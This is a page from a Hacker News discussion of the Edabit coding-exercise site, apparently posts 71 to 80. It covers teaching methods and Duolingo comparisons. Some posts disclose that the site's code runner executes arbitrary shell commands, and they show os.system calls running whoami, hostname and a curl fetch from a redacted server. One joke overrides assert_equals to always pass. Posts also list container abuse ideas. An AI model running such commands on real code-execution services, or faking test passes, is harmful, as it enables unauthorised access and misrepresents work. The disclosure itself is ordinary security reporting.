just insert this before every function: class Test: def assert_equals(*args): return True
Why not go a step further and pat yourself on the back for completing all the challenges without even navigating to the website?
Show HN: Edabit – Like Duolingo for Learning to Code
71–80 of 134 posts
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#72Earlier quoted context omitted.
"The woman eats the apple." is a complete sentence, no? Do you mean you only memorized specific sentences, but did not end up with any generalizable knowledge? I've never tried Duolingo, but I kind of expected them to not show you exactly the same exercises again, so that you wouldn't pass them with just memorization.
Thats exactly what he was saying. But yes, Duolingo and Memrise take similar approaches at not teaching you anything.
Well, you were misinformed that you could learn a language by doing any one thing.
Apps like Duolingo are just a method for daily exposure on the long journey of language learning.
For example, reading only grammar books isn't going to get you there, either. But doing something every day is possibly the most important part, and Duolingo can help you build a habit.
I see this criticism of Duolingo all the time by people who sound like they think it failed them because they weren't fluent after finishing it. There is no roadmap that will make you fluent without serious, multifaceted effort on your own part, so it's quite weak criticism when one tool doesn't take you end-to-end.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#73Earlier quoted context omitted.
Getting an exorbitant bill from DigitalOcean after someone has abused your "containers" would not concern you then?
I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?
> "What specifically are your concerns? What about what you've learned will create an exorbitant bill?"
Abusing the containers to send large amounts of outgoing traffic would do just that. Downloading files would do that too. How about sending a "while(true) { }" to hog some CPU? It doesn't take much to cause significant monetary damage.
Depending on their set-up, those containers could contain credentials or some other means to compromise the rest of the website. Perhaps it is possible to re-use the containers across different "sessions", serving multiple clients with malicious traffic. Those are plausible scenarios.
I'm not carrying out a full PT right now. Demonstrating the platform has been compromised is more than enough. Any other questions?
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#74Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
How does the url http://redacted/ work? I've never seen a url without a tld on the end.
Could I register the domain http://foo ?
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#75So far what I gathered from the comments:
* Not the most secure * A fork of code wars. * Has random photos for testimonials. * W3schools links. *How is it like Duolingo at all?
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#76Having taught people coding for awhile, I don't think the step-by-step teaching models work with coding. It creates an environment where students just think about the next step without internalizing what they learned. I've met students who have gone through freecodecamp's exercises and really struggle with using what they learned.
Edabit seems too heavily on algorithms. I've seen many beginner students get quickly burned out from doing algorithms when starting out.
I've found the most effective way to teach coding is to make their learning project based (very much like how professors taught concepts back in college). Build X, Y, Z, each project building up in complexity so students can think about different combinations of everything they learned to complete the project.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#77Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
How does the url http://redacted/ work? I've never seen a url without a tld on the end. Could I register the domain http://foo ?
They meant they redacted the URL, not that the URL was literally "http://redacted".
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#78Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
How does the url http://redacted/ work? I've never seen a url without a tld on the end. Could I register the domain http://foo ?
> "How does the url http://redacted/ work?"
I apologize for the confusion. I used an actual server there (ie. http://somename.com) but chose to redact the actual URL from this post.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#79I think w3schools related links should be removed from the Resources tab, due to the consistent low quality of that site
The community submits links to external resources. I don't want to be left moderating what I personally believe is a good or bad resource. I'd rather users downvote unhelpful resources.
Re: Show HN: Edabit – Like Duolingo for Learning to Code
#80Earlier quoted context omitted.
I wonder if WebAssembly could help accomplish that. Still, even Rust has a compile-and-execute web service call accessible from the rust-lang home page. If Rust people (who tend to emphasize security) feel it is possible to secure that web service, then I'm inclined to believe them. It may be difficult though.
Thanks for my next project!
Actually I think the Rust folks would appreciate any feedback on the security of the service, as long as you don't DoS it or use it to do anything bad. :-)